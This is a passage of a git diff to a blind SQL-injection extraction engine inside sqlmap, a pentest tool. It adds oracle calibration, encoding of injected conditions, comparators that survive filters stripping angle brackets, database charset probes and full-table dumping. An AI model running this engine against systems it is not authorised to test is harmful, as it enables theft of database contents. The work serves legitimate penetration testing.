+_RATIO_MARGIN = 0.05 + def _sqliteOracle(block=None): """In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober). @@ -218,10 +222,10 @@ def surOracle(cond): pass # extract using ONLY the strategy + oracle (no Esperanto retrieval code) got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)") - assert got == "Admin-42", "hostExtract via strategy failed: %r" % got + assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got row = strat.asQueriesRow() assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row - print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got)) + print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value)) print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)") @@ -364,19 +368,22 @@ def _fresh(scheme, netloc): return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30) def fetch(cond): - if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context) - u_raw = url.replace("[INFERENCE]", cond) - d_raw = data.replace("[INFERENCE]", cond) if data else data + # encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a + # '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the + # parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape. + if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context) + payload = _quote(cond, safe="") + u_raw = url.replace("[INFERENCE]", payload) + d_raw = data.replace("[INFERENCE]", payload) if data else data else: # '*' -> boolean AND at the mark - ins = " AND (%s)" % cond + ins = _quote(" AND (%s)" % cond, safe="") u_raw = url.replace("*", ins, 1) if "*" in url else url d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data - # keep the '='/'&' param structure, encode the rest so spaces/metachars survive - parts = urlsplit(u_raw) + parts = urlsplit(u_raw) # the surrounding URL is already user-encoded path = parts.path or "/" if parts.query: - path += "?" + _quote(parts.query, safe="=&") - body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None + path += "?" + parts.query + body = d_raw.encode("utf-8") if d_raw else None method = "POST" if body else "GET" hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"} if body: @@ -406,7 +413,8 @@ def fetch(cond): except Exception: pass _conn["c"] = None # force a reconnect on the retry - return "", 0 + return None, None # transport FAILED -> undecided, NOT ("",0) + # (an empty body must never look like a False page) dyn = set() @@ -426,6 +434,8 @@ def _clean(body, cond): mode, wanted = "code", int(code) else: # auto-calibrate (t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2") + if t1 is None or t2 is None or f1 is None: + raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request") dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2") if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false @@ -449,8 +459,10 @@ def _clean(body, cond): if not string and not notString: print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) - def oracle(cond): + def classify(cond): body, status = fetch(cond) + if body is None: # transport failure -> UNDECIDED (tri-state): + return None # let the engine retry/degrade, never a fake bool if mode == "string": return string in body if mode == "notstring": @@ -462,11 +474,101 @@ def oracle(cond): c = _clean(body, cond) st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio() sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio() - return st >= sf + if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip + return None + return st > sf + + state = {"n": 0, "dead": False} + + def oracle(cond): + # PERIODIC control revalidation: over thousands of requests the baseline can drift + # (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes + # re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather + # than keep feeding a broken model into bisection. + state["n"] += 1 + if state["n"] % 256 == 0 or state["dead"]: + t, f = classify("1=1"), classify("1=2") + state["dead"] = not (t is True and f is False) + if state["dead"]: + print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f)) + return None + return classify(cond) return oracle +def _safeterm(s): + """Neutralize control/escape bytes in DB content before it reaches the terminal - stored + values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes + that would otherwise manipulate or forge the operator's console.""" + if s is None: + return s + # escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI + # introducer, so leaving the C1 range through would still let stored content drive the terminal + return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s) + + +def _printTable(columns, rows): + """Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins.""" + cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows] + widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))] + bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+" + line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |" + print(bar) + print(line(columns)) + print(bar) + for r in cells: + print(line(r)) + print(bar) + + +import binascii as _binascii +_HEX = set("0123456789abcdefABCDEF") + + +def _previewFramed(partial): + """A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress + token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles + BOTH grammars: length-framed `V:;` / `N;` and the legacy `V` / `N` (','-sep). + Returns None when `partial` isn't a framed payload.""" + if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial): + return None + + def _dec(h): + h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far + try: + return _binascii.unhexlify(h).decode("utf-8", "replace") + except Exception: + return "?" + + out = [] + if ";" in partial or ":" in partial: # length-framed grammar: V:; / N; + for t in partial.split(";"): + if not t: + continue + if t == "N": + out.append("NULL") + elif t.startswith("V"): + _lp, _sep, hx = t[1:].partition(":") + out.append(_dec(hx)) + return ", ".join(out) + for t in partial.split(","): # legacy grammar + if t == "N": + out.append("NULL") + elif t.startswith("V"): + out.append(_dec(t[1:])) + return ", ".join(out) + + +def _scalar(esp, expr): + """A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact + (truncated / case-ambiguous / unverified) value is shown with its status, never as if exact.""" + r = esp.extractResult(expr) + if r.value is None: + return "NULL" if r.is_null else "n/a (unresolved)" + return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity) + + def _report(esp, args): """Run the requested action(s) against a discovered target and print the results.""" print("[*] dialect: %r" % esp.dialect) @@ -480,7 +582,13 @@ def _report(esp, args): if scope is None and (args.tables or args.columns or args.dump): dbexpr = esp.dialect.identity.get("database") try: - cur = esp.extract(dbexpr) if dbexpr else None + r = esp.extractResult(dbexpr) if dbexpr else None + # the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous + # spelling would mis-target (merge a system-schema table, yield a 0-row dump), so + # require a byte-exact read, exactly as the sqlmap handler's _safeExtract does. + cur = r.value if (r and r.exact) else None + if r and r.value and not r.exact: + print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity) except Exception: cur = None if args.tbl and (args.columns or args.dump): @@ -494,10 +602,10 @@ def _report(esp, args): print("[*] scoping to database/schema: %s" % scope) if args.current_user: expr = esp.dialect.identity.get("user") - print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a")) + print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a")) if args.current_db: expr = esp.dialect.identity.get("database") - print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a")) + print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a")) if args.tables: print("[*] fetching tables ...") print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or [""])) @@ -509,7 +617,7 @@ def _report(esp, args): print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or [""]))) if args.query: print("[*] fetching %s ..." % args.query) - print("[*] %s = %r" % (args.query, esp.extract(args.query))) + print("[*] %s = %s" % (args.query, _scalar(esp, args.query))) if args.dump: if not args.tbl: print("[!] --dump needs -T
") @@ -519,14 +627,24 @@ def _report(esp, args): print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names cols = esp.columns(args.tbl, schema=scope) or None print("[*] fetching entries for table '%s' ..." % args.tbl) - result = esp.dump(args.tbl, columns=cols, schema=scope) + # NO silent internal 10-row cap: honor --stop, else dump ALL rows (by COUNT) and + # always print whether the result is complete. + if getattr(args, "stop", None): + limit = args.stop + else: + try: + limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10 + except Exception: + limit = 1 << 30 + result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit) if not result or not result["columns"]: print("[!] could not dump %s" % args.tbl) else: - print("[*] %s (%d rows):" % (args.tbl, len(result["rows"]))) - print(" " + " | ".join(result["columns"])) - for row in result["rows"]: - print(" " + " | ".join("NULL" if v is None else v for v in row)) + tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort") + if not result.get("exact", True): # coverage complete but content collation-dependent + tag += " - INEXACT (case/accents may differ)" + print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag)) + _printTable(result["columns"], result["rows"]) def main(argv=None): @@ -565,6 +683,7 @@ def _format_action_invocation(self, action): parser.add_argument("-D", dest="db", help="database/schema to enumerate") parser.add_argument("-T", dest="tbl", help="table to enumerate") parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)") + parser.add_argument("--stop", type=int, help="max rows to dump (default: all)") # internal dev/test harness switches - functional but hidden from --help (--live drives the # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass) parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS) @@ -586,10 +705,25 @@ def _format_action_invocation(self, action): esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header, args.string, args.not_string, args.code)) import sys as _sys - def _live(value): # signs of life during the (slow, blind) extraction - _sys.stdout.write("[*] retrieved: %s\n" % value) + _tty = _sys.stdout.isatty() + def _charLive(partial, total): + # LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in + # place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when + # complete, so it can't collide with the next message. Framed rows preview as cells. + shown = _previewFramed(partial) + if shown is None: + shown = partial + _sys.stdout.write("\r\033[K[*] retrieved: %s" % _safeterm(shown[-200:])) + if len(partial) >= total: # value complete -> keep it and drop to a new line + _sys.stdout.write("\n") + _sys.stdout.flush() + def _plainLive(value): # piped/non-tty: one plain line per value, no control codes + _sys.stdout.write("[*] retrieved: %s\n" % _safeterm(value)) _sys.stdout.flush() - esp._progress = _live + if _tty: + esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal + else: + esp._progress = _plainLive # logs/pipes get clean per-value lines instead print("[*] discovering the back-end SQL dialect (agnostic mode) ...") try: esp.discover() diff --git a/extra/esperanto/atlas.py b/extra/esperanto/atlas.py index 40e51691606..8e65af9b133 100644 --- a/extra/esperanto/atlas.py +++ b/extra/esperanto/atlas.py @@ -119,9 +119,60 @@ def _isSingleUnicodeScalar(value): _HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le")) +# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn - +# the strongest encoding signal there is (the DB tells us its own charset), and read once. A +# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one. +_CHARSET_PROBES = ( + "@@character_set_connection", # MySQL/MariaDB/TiDB: the charset + # CAST(x AS CHAR) outputs (what the + # framed dump hexes), NOT @@character_set_database + "current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate + "(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle + "CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number +) + + +# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec. +# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really +# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true +# Latin-1. This is where reading the DB's own answer beats statistical detection. +_CHARSET_CODEC = { + "utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8", + "unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8", + "utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be", + "latin1": "cp1252", # MySQL 'latin1' == Windows-1252 + "cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252", + "iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1", + "iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15", + "cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251", + "cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250", + "gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030", + "big5": "big5", "zht16big5": "big5", "950": "big5", + "sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis", + "euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr", + "eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp", + "koi8r": "koi8-r", "cl8koi8r": "koi8-r", + "ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii", +} + + +def _charsetCodec(name): + """Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown. + Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively.""" + import re as _re + key = _re.sub(r"[^a-z0-9]", "", (name or "").lower()) + while key: + if key in _CHARSET_CODEC: + return _CHARSET_CODEC[key] + key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4) + return None + + # the only code points a hex-framed dump payload can contain (hex digits + N/V markers -# + the ',' delimiter); lets that value extract via a tiny bisection alphabet -_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV")) +# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny +# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall +# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction. +_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV")) # force a byte-ordered, case/accent-sensitive comparison of {x} even where the default @@ -215,14 +266,22 @@ def _isSingleUnicodeScalar(value): # cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed +# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but +# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still +# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check +# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded; +# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap, +# so a >4000 value there is caught by per-cell source verification in dump(), not here. _TEXTCAST = ( - ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), - ("cast_text", "CAST(({expr}) AS TEXT)"), - ("cast_char", "CAST(({expr}) AS CHAR)"), - ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), + ("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED + ("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR) + ("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED + ("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode) + ("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED + ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only) + ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit) ("to_char", "TO_CHAR({expr})"), ("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"), - ("cast_string", "CAST(({expr}) AS STRING)"), ("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"), ) @@ -412,6 +471,18 @@ def _isSingleUnicodeScalar(value): _REPL = u"\uFFFD" +# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is +# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of +# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which +# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value. +_SOFT_WARNINGS = ("case", "collation", "recovered via hex") + + +def _hardWarnings(warns): + """The integrity-class warnings in `warns` (those that impugn the recovered bytes).""" + return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)] + + # py2/py3 shim: integer code point -> single char try: _unichr = unichr # py2 diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py index ab1bd4e5487..dc331146971 100644 --- a/extra/esperanto/discovery.py +++ b/extra/esperanto/discovery.py @@ -12,6 +12,8 @@ from .atlas import _CATALOGS from .atlas import _CHARCODE from .atlas import _CHARFROM +from .atlas import _charsetCodec +from .atlas import _CHARSET_PROBES from .atlas import _COALESCE from .atlas import _CONCAT from .atlas import _DUAL @@ -67,6 +69,7 @@ def _discover(self): self._discoverCompare() self._discoverComparator() self._discoverCharfrom() + self._discoverCharset() self._discoverDual() self._discoverIdentity() self._discoverCatalog() @@ -84,7 +87,13 @@ def _fallbackPrefix(self): self.dialect.substring = None # route retrieval to the pattern-match path self.dialect.length = None self.dialect.compare = "like" + # the numeric/paging comparator is STILL needed here: catalog keyset paging relies on + # it, and the constructor default 'gt'/_inOk=True would silently fail (returning only + # the first row, no warning) on the very WAF that forced this floor. Discover the real + # capability so paging uses NOT IN / brute-force honestly. + self._discoverComparator() self._discoverCharfrom() + self._discoverCharset() self._discoverDual() self._discoverCatalog() self._discovered = True @@ -212,10 +221,21 @@ def _codeCharTmpl(self): # of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers. if self._codeTmpl is None: self._codeTmpl = False - for _, tmpl in _CHARFROM: - if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)): + # PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a + # code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364) + # is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII- + # working constructor when no Unicode-capable one exists. + for unicode_capable in (True, False): + for _, tmpl in _CHARFROM: + if not (self._ask("%s='a'" % tmpl.format(code=97)) and + not self._ask("%s='b'" % tmpl.format(code=97))): + continue + if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)): + continue self._codeTmpl = tmpl break + if self._codeTmpl: + break return self._codeTmpl or None def _substringUnit(self): @@ -281,7 +301,12 @@ def _fixupLength(self): if self.dialect.concat: joined = self.dialect.concat[1].format(a="({expr})", b="'.'") props = dict(L.props, trailing=True) - self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props) + inner = "(%s)-1" % L[1].format(expr=joined) + # a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1 + # is 0, which would report a NULL value as an empty string. Guard so a NULL input + # still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'. + tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner + self.dialect.length = Cap(L.name + "+dot", tmpl, **props) self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name) else: self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it") @@ -290,10 +315,12 @@ def _checkCompat(self): # substring positions and the length count must be in the SAME unit, else # the per-position walk desyncs on multibyte data s, ln = self.dialect.substring, self.dialect.length - if s and ln: - su, lu = s.get("unit"), ln.get("unit") - if su == "characters" and lu == "bytes": - self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync") + if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes": + # HARD strategy change (not just a warning): a byte-count length would drive the + # char-indexed substring walk PAST the end of a multibyte value. Discard it so + # length is derived from the char-based substring instead - same unit, no desync. + self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring") + self.dialect.length = None def _discoverBytelen(self): # a *byte*-length fn - distinguished from char length with a multibyte char @@ -312,6 +339,11 @@ def _discoverBytelen(self): self.dialect.bytelen = Cap(name, tmpl) return name + # casts with no length bound - hex-framing a value through these can never truncate it; + # anything else may silently shorten a long value, so dump() verifies those cells at source + _UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max", + "cast_varchar_max", "cast_string")) + def _discoverTextcast(self): # a cast that stringifies a number: substr(cast(123),1,1)='1' and the # negative sign survives (substr(cast(-42),1,1)='-') @@ -320,7 +352,7 @@ def _discoverTextcast(self): if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \ self._lenEquals(c123, 3) and \ self._ask("%s='-'" % self._sub(cneg, 1, 1)): - self.dialect.textcast = Cap(name, tmpl) + self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS) return name def _discoverCoalesce(self): @@ -378,23 +410,44 @@ def _discoverCompare(self): # 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a # code function (one compare per bisection) and recovers case under CI / # locale collations. tried before hex because it's cheaper. + cf = self._codeCharTmpl() for name, tmpl in _BINWRAP: w = lambda s: tmpl.format(x=s) - if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \ - not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \ - not self._ask("%s=%s" % (w("'a'"), w("'A'"))): - self.dialect.binwrap = Cap(name, tmpl) - self.dialect.compare = "collation" - self.dialect.ordered = True - return "collation:%s" % name + if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and + not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and + not self._ask("%s=%s" % (w("'a'"), w("'A'")))): + continue + # BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT + # values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE) + # and ACCENTS (many collations are accent-insensitive). One that folds either is + # ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a + # folded value (trailing-space or accent folding) to EXACT. + if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive + continue + # accent test needs a char constructor to build the accented probe. If we HAVE one and + # it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are + # UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so + # it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter). + byte_exact = False + if cf: + if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive + continue + byte_exact = True + self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact) + self.dialect.compare = "collation" + self.dialect.ordered = True + if not byte_exact: + self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char " + "constructor) - used for ordering, not exactness") + return "collation:%s" % name # 3) hex/byte function - collation-independent, recovers letter case even # under case-insensitive collations (the key fallback when code fns are # filtered by a WAF) for name, tmpl in _HEXFN: enc = self._hexEncoding(tmpl) - if enc: - self.dialect.hexfn = Cap(name, tmpl, encoding=enc) + if enc is not None: # '' = usable, codec unknown (auto-detect) + self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None)) self.dialect.compare = "hex" self.dialect.ordered = True return "hex:%s" % name @@ -418,15 +471,35 @@ def _discoverCompare(self): self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable") return "equality-ci" + # STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1, + # !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary + # (2>2 must be FALSE) and would then read every count/length/code off by one. Each + # candidate must reproduce '>' at the equality boundary AND across zero and negatives. + _GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False), + (0, -1, True), (0, 0, False), (0, 1, False), + (-2, -3, True), (-2, -2, False), (-2, -1, False)) + + def _provesGt(self, render): + # render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches + # strict '>' on EVERY truth-table row (equality boundary + zero + negative domain). + try: + for a, b, want in self._GT_TRUTH: + if bool(self._ask(render(a, b))) != want: + return False + except OracleUndecided: + return False + return True + def _discoverComparator(self): # how to express "value > threshold" for bisection. A WAF that strips '<'/'>' # (very common) would otherwise leave code-mode picking '>' and silently # failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall # to order-free IN() subset bisection which needs only '=' membership. + HUGE = 1 << 62 try: - if self._ask("2>1") and not self._ask("2>3"): + if self._provesGt(lambda a, b: "%d>%d" % (a, b)): self._comparator = "gt" - elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"): + elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)): self._comparator = "between" self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") elif self._discoverOperatorFreeComparator(): @@ -442,8 +515,9 @@ def _discoverComparator(self): def _discoverOperatorFreeComparator(self): # Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN): # each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the - # comparison operators instead of dropping to slow order-free membership. Ordered universal- - # first; each self-selects by a 3-point probe (2>1 true, 2>3/2>2 false). {expr}/{n} filled at use. + # comparison operators. Each must pass the FULL signed truth table (not a 3-point positive + # probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET + # with lo==hi at n=-1) is rejected instead of silently misreading signed values. candidates = ( ("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS ("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered @@ -453,7 +527,7 @@ def _discoverOperatorFreeComparator(self): ("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB ) for name, tmpl in candidates: - if self._ask(tmpl.format(expr=2, n=1)) and not self._ask(tmpl.format(expr=2, n=3)) and not self._ask(tmpl.format(expr=2, n=2)): + if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)): self._comparator = name self._cmpTemplate = tmpl self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper()) @@ -491,6 +565,28 @@ def _discoverCharfrom(self): return name self.dialect.charfrom = None + def _discoverCharset(self): + # ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a + # boolean oracle can read directly (a huge advantage over passive byte-guessing, which + # can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a + # name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the + # authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact. + with self._probePhase(): # a wrong-family charset expr errors -> skip + for expr in _CHARSET_PROBES: + try: + if not self._hasChars(expr): + continue + res = self.extractResult(expr, limit=64) + except OracleUndecided: + continue + if res.value and res.exact: + codec = _charsetCodec(res.value) + if codec: + self.dialect.charset = codec + self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec)) + return codec + return None + def _discoverIdentity(self): for kind, candidates in sorted(_IDENTITY.items()): for expr in candidates: diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py index bb92cb84be4..7e902dd2faf 100644 --- a/extra/esperanto/engine.py +++ b/extra/esperanto/engine.py @@ -6,10 +6,13 @@ """ from .atlas import _FREQ_ORDER +from .atlas import _hardWarnings from .atlas import _PRINTABLE_SORTED from .atlas import _REPL from .atlas import _unichr from .records import Dialect +from .records import ExtractResult +from .records import OracleUndecided from .oracle import _OracleCore from .discovery import _Discovery from .extraction import _Extraction @@ -50,10 +53,14 @@ def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1, self._inOk = True # IN(...) usable (order-free subset bisection) self._lastTruncated = False self._discovered = False + self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired + self._castPreserves = None # cached: does the text cast preserve a canary accent? self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an # undecidable probe there = "rung unusable" -> False; elsewhere (reading # committed data) an undecidable probe stays undecided so it degrades loudly - self._progress = None # optional host callback(str) for live feedback + self._progress = None # optional host callback(str) for live per-VALUE feedback + self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER + # feedback DURING a long extraction (so the user sees it working) @property def queryCount(self): @@ -63,49 +70,129 @@ def queryCount(self): def hostExtract(oracle, strategy, expr, maxlen=4096): """Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle. - This is the proof that the strategy is a sufficient hand-off: it reproduces - char-by-char extraction with zero dependency on Esperanto's own retrieval code - - exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in - ~30 lines. Covers the char-comparison modes (code / collation / ordinal / - equality); hex mode is reachable the same way via strategy.renderHex().""" - ask = lambda cond: bool(oracle(cond)) - L = strategy.renderLength(expr) - if not ask("%s>=0" % L): - return None - if ask("%s=0" % L): - return "" - lo, hi = 1, min(8, 